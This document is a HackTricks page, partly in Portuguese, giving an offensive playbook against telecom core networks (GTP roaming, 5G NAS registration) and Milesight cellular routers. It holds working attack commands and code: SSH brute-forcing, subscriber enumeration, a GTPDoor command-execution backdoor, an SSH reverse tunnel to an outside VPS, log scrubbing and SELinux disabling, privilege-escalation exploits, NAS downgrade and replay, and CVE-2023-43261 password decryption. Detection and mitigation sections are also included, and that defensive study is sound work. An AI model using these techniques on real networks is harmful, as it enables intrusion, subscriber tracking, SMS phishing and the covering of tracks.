Telecom Network Exploitation (GTP / Roaming Environments)

Reading time: 13 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

note

Protocolos do core móvel (GPRS Tunnelling Protocol – GTP) frequentemente atravessam backbones de roaming semi-confiáveis GRX/IPX. Como transitam sobre UDP simples com quase nenhuma autenticação, qualquer ponto de apoio dentro do perímetro da operadora geralmente consegue alcançar diretamente os planos de sinalização core. As notas seguintes reúnem truques ofensivos observados na prática contra SGSN/GGSN, PGW/SGW e outros nós EPC.

1. Recon & Initial Access

1.1 Default OSS / NE Accounts

Um conjunto surpreendentemente grande de elementos de rede de fornecedores vem com usuários SSH/Telnet codificados como root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … Uma wordlist dedicada aumenta dramaticamente o sucesso do brute-force:

bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

Se o dispositivo expõe apenas uma VRF de gerenciamento, pivot através de um jump host primeiro (veja a seção «SGSN Emu Tunnel» abaixo).

1.2 Descoberta de Hosts dentro do GRX/IPX

A maioria dos operadores GRX ainda permite ICMP echo através do backbone. Combine masscan com as built-in gtpv1 UDP probes para mapear rapidamente os GTP-C listeners:

bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Enumerating Subscribers – cordscan

A seguinte ferramenta Go cria pacotes GTP-C Create PDP Context Request e registra as respostas. Cada resposta revela o SGSN / MME atual que serve o IMSI consultado e, às vezes, o PLMN visitado do assinante.

bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Principais flags:

  • --imsi IMSI do assinante alvo
  • --oper Home / HNI (MCC+MNC)
  • -w Grava pacotes brutos em pcap

Constantes importantes dentro do binário podem ser modificadas para ampliar as varreduras:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Execução de Código sobre GTP – GTPDoor

GTPDoor é um pequeno serviço ELF que binds UDP 2123 and parses every incoming GTP-C packet. Quando o payload começa com uma tag pré-compartilhada, o restante é decriptado (AES-128-CBC) e executado via /bin/sh -c. O stdout/stderr são exfiltrados dentro de mensagens Echo Response para que nenhuma sessão externa seja criada.

Pacote PoC mínimo (Python):

python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Detecção:

  • qualquer host enviando Echo Requests não balanceados para IPs de SGSN
  • flag de versão do GTP definida como 1 enquanto message type = 1 (Echo) – desvio da especificação

4. Pivoting Through the Core

4.1 sgsnemu + SOCKS5

OsmoGGSN ships an SGSN emulator able to establish a PDP context towards a real GGSN/PGW. Once negotiated, Linux receives a new tun0 interface reachable from the roaming peer.

bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

Com o hair-pinning adequado do firewall, esse túnel contorna VLANs apenas de sinalização e te coloca diretamente no plano de dados.

4.2 SSH Reverse Tunnel over Port 53

DNS está quase sempre aberto em infraestruturas de roaming. Exponha um serviço SSH interno no seu VPS escutando em :53 e retorne mais tarde de casa:

bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Verifique se GatewayPorts yes está habilitado no VPS.

5. Canais Clandestinos

CanalTransporteDecodificaçãoObservações
ICMP – EchoBackdoorICMP Echo Req/Repchave de 4 bytes + blocos de 14 bytes (XOR)ouvinte puramente passivo, sem tráfego de saída
DNS – NoDepDNSUDP 53XOR (chave = funnyAndHappy) codificado nos octetos do registro Amonitora o subdomínio *.nodep
GTP – GTPDoorUDP 2123blob AES-128-CBC em IE privadose mistura ao tráfego legítimo de GTP-C

Todos os implantes implementam watchdogs que timestomp seus binários e reiniciam caso travem.

6. Guia rápido de Evasão de Defesa

bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Escalada de Privilégios em Legacy NE

bash
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

Dica de limpeza:

bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Caixa de Ferramentas

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS – custom tooling described in previous sections.
  • FScan : intranet TCP sweeps (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS rogue WPAD
  • Microsocks + ProxyChains : lightweight SOCKS5 pivoting
  • FRP (≥0.37) : NAT traversal / asset bridging

9. Ataques de Registro NAS 5G: SUCI leaks, rebaixamento para EEA0/EIA0, e NAS replay

O procedimento de registro 5G roda sobre NAS (Non-Access Stratum) em cima de NGAP. Até que a segurança NAS seja ativada pelo Security Mode Command/Complete, as mensagens iniciais não são autenticadas nem encriptadas. Essa janela pré-segurança permite múltiplos vetores de ataque quando você pode observar ou manipular o tráfego N2 (por exemplo, on-path dentro do core, rogue gNB, ou testbed).

Fluxo de registro (simplificado):

  • Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
  • Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
  • Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
  • PDU Session Establishment: IP/QoS setup.

Dicas de setup de laboratório (não-RF):

  • Core: Open5GS default deployment é suficiente para reproduzir os fluxos.
  • UE: simulador ou UE de teste; decodificar usando Wireshark.
  • Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
  • Useful display filters in Wireshark:
  • ngap.procedure_code == 15 (InitialUEMessage)
  • nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 Privacidade de identificador: SUCI failures expondo SUPI/IMSI

Esperado: UE/USIM deve transmitir SUCI (SUPI encriptado com a public key da home-network). Encontrar um SUPI/IMSI em plaintext no Registration Request indica um defeito de privacidade que permite tracking persistente do assinante.

Como testar:

  • Capture a primeira mensagem NAS em InitialUEMessage e inspecione o Mobile Identity IE.
  • Wireshark quick checks:
  • Deve decodificar como SUCI, não como IMSI.
  • Exemplos de filtro: nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci deve existir; ausência disso junto com presença de imsi indica exposure.

O que coletar:

  • MCC/MNC/MSIN se expostos; log por UE e rastrear ao longo do tempo/locais.

Mitigação:

  • Enforce SUCI-only UEs/USIMs; alertar sobre qualquer IMSI/SUPI no NAS inicial.

9.2 Capacidade sendo reduzida para algoritmos nulos (EEA0/EIA0)

Contexto:

  • UE anuncia EEA (encryption) e EIA (integrity) suportados no UE Security Capability IE do Registration Request.
  • Mapas comuns: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 são algoritmos nulos.

Problema:

  • Como o Registration Request não é protegido por integridade, um atacante on-path pode limpar bits de capability para forçar a seleção de EEA0/EIA0 mais tarde durante o Security Mode Command. Algumas stacks aceitam incorretamente algoritmos nulos fora de serviços de emergência.

Passos ofensivos:

  • Intercept InitialUEMessage e modificar o NAS UE Security Capability para anunciar apenas EEA0/EIA0.
  • Com Sni5Gect, hookar a mensagem NAS e patchar os capability bits antes de encaminhar.
  • Observar se o AMF aceita ciphers/integrity nulos e completa o Security Mode com EEA0/EIA0.

Verificação/visibilidade:

  • No Wireshark, confirmar os algoritmos selecionados após Security Mode Command/Complete.
  • Exemplo de saída de sniffer passivo:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

Mitigações (obrigatórias):

  • Configure AMF/policy para rejeitar EEA0/EIA0, exceto onde estritamente mandatado (p.ex., chamadas de emergência).
  • Preferir aplicar EEA2/EIA2 como mínimo; registrar e gerar alertas para qualquer NAS security context que negocie algoritmos nulos.

9.3 Replay do initial Registration Request (pre-security NAS)

Como o NAS inicial carece de integridade e de freshness, uma InitialUEMessage+Registration Request capturada pode ser replayed para o AMF.

Regra PoC para 5GReplay encaminhar replays correspondentes:

xml
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

What to observe:

  • Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.

Mitigations:

  • Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.

9.4 Tooling pointers (reproducible)

  • Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
  • Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
  • 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
  • Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.

9.5 Defensive checklist

  • Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
  • Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
  • Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
  • Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.

10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)

Abusing exposed web APIs of industrial cellular routers enables stealthy, carrier-origin smishing at scale. Milesight UR-series routers expose a JSON-RPC–style endpoint at /cgi. When misconfigured, the API can be queried without authentication to list SMS inbox/outbox and, in some deployments, to send SMS.

Typical unauthenticated requests (same structure for inbox/outbox):

http
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json

{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
json
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }

As respostas incluem campos como timestamp, content, phone_number (E.164) e status (success ou failed). Envios repetidos com failed para o mesmo número são frequentemente “checagens de capacidade” do atacante para validar que um roteador/SIM consegue entregar antes de enviar em massa.

Exemplo de curl para exfiltrar metadados de SMS:

bash
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'

Notas sobre artefatos de auth:

  • Algum tráfego pode incluir um auth cookie, mas uma grande parte dos dispositivos expostos responde sem qualquer autenticação a query_inbox/query_outbox quando a interface de gerenciamento está acessível pela Internet.
  • Em ambientes que exigem auth, previously-leaked credentials (ver abaixo) restauram o acesso.

Caminho de recuperação de credentials – CVE-2023-43261:

  • Famílias afetadas: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
  • Problema: logs servidos via web (por ex., httpd.log) são acessíveis sem autenticação em /lang/log/ e contêm eventos de login do admin com a password criptografada usando uma hardcoded AES key/IV presente no JavaScript do lado do cliente.
  • Acesso prático e decriptação:
bash
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}

Exemplo mínimo em Python para decrypt leaked passwords (AES-128-CBC, hardcoded key/IV):

python
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...'  # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())

Hunting e ideias de detecção (network):

  • Gerar alerta para POST /cgi não autenticados cujo corpo JSON contenha base/function definido como query_inbox ou query_outbox.
  • Rastrear rajadas repetidas de POST /cgi seguidas por entradas status":"failed" em muitos números únicos vindos do mesmo IP de origem (capability testing).
  • Inventariar routers Milesight expostos à Internet; restringir gerenciamento a VPN; desativar funcionalidades SMS a menos que necessárias; atualizar para ≥ v35.3.0.7; rotacionar credenciais e revisar logs SMS para envios desconhecidos.

Shodan/OSINT pivots (exemplos vistos em campo):

  • http.html:"rt_title" matches Milesight router panels.
  • Google dorking para logs expostos: "/lang/log/system" ext:log.

Impacto operacional: usar SIMs de operadora legítimos dentro dos routers proporciona alta entregabilidade/credibilidade de SMS para phishing, enquanto a exposição de inbox/outbox leaks metadados sensíveis em larga escala.


Ideias de detecção

  1. Qualquer dispositivo que não seja um SGSN/GGSN estabelecendo Create PDP Context Requests.
  2. Portas não padrão (53, 80, 443) recebendo SSH handshakes de IPs internos.
  3. Echo Requests frequentes sem correspondentes Echo Responses – pode indicar GTPDoor beacons.
  4. Alto volume de tráfego ICMP echo-reply com campos identifier/sequence grandes e não zero.
  5. 5G: InitialUEMessage contendo NAS Registration Requests repetidos a partir de endpoints idênticos (replay signal).
  6. 5G: NAS Security Mode negociando EEA0/EIA0 fora de contextos de emergência.

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks